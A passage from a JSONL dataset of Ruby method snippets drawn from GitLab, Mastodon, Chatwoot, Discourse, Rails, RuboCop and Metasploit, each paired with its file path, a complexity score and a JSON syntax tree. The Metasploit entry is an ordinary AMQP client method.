routables\n return Project.all if current_user.can_admin_all_resources?\n\n current_user.projects\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"routables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can_admin_all_resources?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"all\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"projects\"]}]}]}","id":"8f2f5849-42d7-40a5-a851-30f752d34a96"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/kubernetes/agent_helpers.rb","start_line":169,"raw_source":"def track_events_for(event_name, events, users, projects)\n events.each do |event|\n next if event.blank?\n\n user = users[event[:user_id]]\n project = projects[event[:project_id]]\n next if project.nil?\n\n additional_properties = {}\n if event_name.to_sym == :register_agent_at_kas\n additional_properties = {\n # built-in properties\n label: event[:agent_version],\n property: event[:architecture]\n }\n additional_properties[:value] = event[:agent_id] if event[:agent_id].present?\n\n # custom properties\n installation_method = event.dig(:extra_telemetry_data, :installation_method)\n helm_chart_version = event.dig(:extra_telemetry_data, :helm_chart_version)\n\n if event[:kubernetes_version].present?\n additional_properties[:kubernetes_version] = event[:kubernetes_version]\n end\n\n additional_properties[:installation_method] = installation_method if installation_method.present?\n additional_properties[:helm_chart_version] = helm_chart_version if helm_chart_version.present?\n end\n\n Gitlab::InternalEvents.track_event(event_name, additional_properties: additional_properties, user: user,\n project: project)\n end\n end","complexity_score":53.8,"ast_json":"{\"type\":\"def\",\"children\":[\"track_events_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]},{\"type\":\"arg\",\"children\":[\"events\"]},{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"arg\",\"children\":[\"projects\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"additional_properties\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_name\"]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"register_agent_at_kas\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"additional_properties\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"agent_version\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"architecture\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"agent_id\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"agent_id\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"installation_method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"extra_telemetry_data\"]},{\"type\":\"sym\",\"children\":[\"installation_method\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"helm_chart_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"extra_telemetry_data\"]},{\"type\":\"sym\",\"children\":[\"helm_chart_version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"kubernetes_version\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"kubernetes_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"kubernetes_version\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"installation_method\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"installation_method\"]},{\"type\":\"lvar\",\"children\":[\"installation_method\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helm_chart_version\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"helm_chart_version\"]},{\"type\":\"lvar\",\"children\":[\"helm_chart_version\"]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"InternalEvents\"]},\"track_event\",{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"additional_properties\"]},{\"type\":\"lvar\",\"children\":[\"additional_properties\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}]}]}","id":"54dd5892-3721-4473-85ec-5a4c7a1118d4"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/activitypub/migrated_follow_delivery_worker.rb","start_line":11,"raw_source":"def unfollow_old_account!(old_target_account_id)\n old_target_account = Account.find(old_target_account_id)\n UnfollowService.new.call(@source_account, old_target_account, skip_unmerge: true)\n rescue\n true\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unfollow_old_account!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_target_account_id\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_target_account\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"old_target_account_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnfollowService\"]},\"new\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@source_account\"]},{\"type\":\"lvar\",\"children\":[\"old_target_account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_unmerge\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"true\",\"children\":[]}]},null]}]}","id":"a6c77f1d-01d6-4793-8a3d-30e5de1ec4b7"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/jsonb_attributes_length_validator.rb","start_line":2,"raw_source":"def validate_each(record, attribute, value)\n return if value.empty?\n\n @attribute = attribute\n @record = record\n\n value.each do |key, attribute_value|\n validate_keys(key, attribute_value)\n end\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"ivasgn\",\"children\":[\"@attribute\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@record\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"attribute_value\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_keys\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"attribute_value\"]}]}]}]}]}","id":"f9cba2d2-d026-49b2-b357-55ed5e0acb1c"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme_field.rb","start_line":625,"raw_source":"def filename_from_opts(opts)\n is_match =\n OPTIONS.all? do |option|\n plural = :\"#{option}s\"\n next true if @allowed_values[plural] == nil # Allows any value\n next true if @allowed_values[plural].include?(opts[option]) # Value is allowed\n end\n is_match ? @canonical.call(opts) : nil\n end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"filename_from_opts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"is_match\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OPTIONS\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plural\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]}]},{\"type\":\"str\",\"children\":[\"s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@allowed_values\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"plural\"]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"next\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@allowed_values\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"plural\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"option\"]}]}]},{\"type\":\"next\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@canonical\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"d56bb77c-42a3-40a6-b0e2-bd897ac98623"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_selector_test.rb","start_line":39,"raw_source":"def test_read_from_replicas\n @session_store[:last_write] = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session.convert_time_to_timestamp(Time.now - 5.seconds)\n\n resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session)\n\n called = false\n resolver.read do\n called = true\n assert ActiveRecord::Base.connected_to?(role: :reading)\n end\n assert called\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_read_from_replicas\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session_store\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"last_write\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Middleware\"]},\"DatabaseSelector\"]},\"Resolver\"]},\"Session\"]},\"convert_time_to_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resolver\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Middleware\"]},\"DatabaseSelector\"]},\"Resolver\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@session\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"called\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolver\"]},\"read\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"called\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connected_to?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"sym\",\"children\":[\"reading\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"called\"]}]}]}]}","id":"c2f35c0f-ecef-432c-834a-fe8b44b9bb63"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/api.rb","start_line":25,"raw_source":"def initialize(location_url)\n @location_url = location_url\n\n super(\"#{MSG_PREFIX} #{location_url}\")\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@location_url\",{\"type\":\"lvar\",\"children\":[\"location_url\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MSG_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location_url\"]}]}]}]}]}]}","id":"b6d3350a-6bef-44da-9116-5ed7b860d4cf"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_validator.rb","start_line":73,"raw_source":"def check_obsoletions\n @config_obsoletion.reject_obsolete!\n return unless @config_obsoletion.warnings.any?\n\n warn Rainbow(\"Warning: #{@config_obsoletion.warnings.join(\"\\n\")}\").yellow\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_obsoletions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config_obsoletion\"]},\"reject_obsolete!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config_obsoletion\"]},\"warnings\"]},\"any?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Warning: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config_obsoletion\"]},\"warnings\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},\"yellow\"]}]}]}]}","id":"48a91bfa-bbc7-4bd2-96e4-dbdc06b96986"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/rubygems/process_gem_service.rb","start_line":20,"raw_source":"def execute\n raise ExtractionError, 'Gem was not processed - package_file is not set' unless package_file\n return success if process_gem\n\n error('Gem was not processed')\n rescue ActiveRecord::StatementInvalid\n # TODO: We can remove this rescue block when we fix https://gitlab.com/gitlab-org/gitlab/-/issues/415899\n raise InvalidMetadataError, 'Invalid metadata'\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_file\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ExtractionError\"]},{\"type\":\"str\",\"children\":[\"Gem was not processed - package_file is not set\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_gem\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Gem was not processed\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidMetadataError\"]},{\"type\":\"str\",\"children\":[\"Invalid metadata\"]}]}]},null]}]}","id":"1df302b0-9d72-40ca-99f4-7c6a2f0f631f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/amqp/version_0_9_1/client.rb","start_line":188,"raw_source":"def channel_close(channel)\n ch_close = Version091::Frames::AmqpVersion091MethodFrame.new\n ch_close.header.frame_channel = channel.id\n ch_close.arguments = Version091::Frames::MethodArguments::AmqpVersion091ChannelClose.new\n send_frame(ch_close)\n resp = recv_frame\n\n unless is_method_frame?(resp, Version091::Frames::MethodArguments::AmqpVersion091ChannelCloseOk)\n raise Error::UnexpectedReplyError.new(resp)\n end\n\n @channels.delete(channel.id)\n nil\n end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"channel_close\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ch_close\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version091\"]},\"Frames\"]},\"AmqpVersion091MethodFrame\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ch_close\"]},\"header\"]},\"frame_channel=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ch_close\"]},\"arguments=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version091\"]},\"Frames\"]},\"MethodArguments\"]},\"AmqpVersion091ChannelClose\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"send_frame\",{\"type\":\"lvar\",\"children\":[\"ch_close\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"recv_frame\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_method_frame?\",{\"type\":\"lvar\",\"children\":[\"resp\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version091\"]},\"Frames\"]},\"MethodArguments\"]},\"AmqpVersion091ChannelCloseOk\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Error\"]},\"UnexpectedReplyError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channels\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"id\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"ec92c4af-06cf-48cf-b12b-422e91478575"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/spec/services/telegram/send_attachments_service_spec.rb","start_line":125,"raw_source":"def attach_file_to_message(message, type, filename, content_type)\n attachment = message.attachments.new(account_id: message.account_id, file_type: type)\n attachment.file.attach(io: Rails.root.join(\"spec/assets/#{filename}\").open, filename: filename, content_type: content_type)\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"attach_file_to_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"content_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attachment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"attachments\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"file\"]},\"attach\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"spec/assets/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},\"open\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"lvar\",\"children\":[\"content_type\"]}]}]}]}]}]}","id":"eaa73e3c-e74e-451c-9e39-e5e65904981c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250617010302_add_namespace_id_fk_to_duo_workflows_checkpoints.rb","start_line":12,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key_if_exists :duo_workflows_checkpoints, column: :namespace_id\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"duo_workflows_checkpoints\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]}]}]}]}","id":"efeb1b1b-0d4a-4f80-981f-163ccb5a0fcf"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/json/encoding_test.rb","start_line":93,"raw_source":"def test_non_utf8_string_transcodes\n s = \"二\".encode(\"Shift_JIS\")\n result = ActiveSupport::JSON.encode(s)\n assert_equal '\"二\"', result\n assert_equal Encoding::UTF_8, result.encoding\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_non_utf8_string_transcodes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"二\"]},\"encode\",{\"type\":\"str\",\"children\":[\"Shift_JIS\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\\\"二\\\"\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"UTF_8\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"encoding\"]}]}]}]}","id":"8347e814-f262-4a65-99c9-8d3aa5d9e821"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/redundant_method_dispatch_node.rb","start_line":43,"raw_source":"def on_send(node)\n return unless (dispatch_node = dispatch_method(node))\n return unless (dot = dispatch_node.loc.dot)\n\n range = range_between(dot.begin_pos, dispatch_node.loc.selector.end_pos)\n\n add_offense(range) do |corrector|\n corrector.remove(range)\n end\n end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dispatch_node\",{\"type\":\"send\",\"children\":[null,\"dispatch_method\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dot\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dispatch_node\"]},\"loc\"]},\"dot\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dot\"]},\"begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dispatch_node\"]},\"loc\"]},\"selector\"]},\"end_pos\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}","id":"7fa30e52-259a-47f7-9020-85ac44de279c"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb","start_line":169,"raw_source":"def polymorphic_url_for_action(action, record_or_hash, options)\n polymorphic_url(record_or_hash, options.merge(action: action))\n 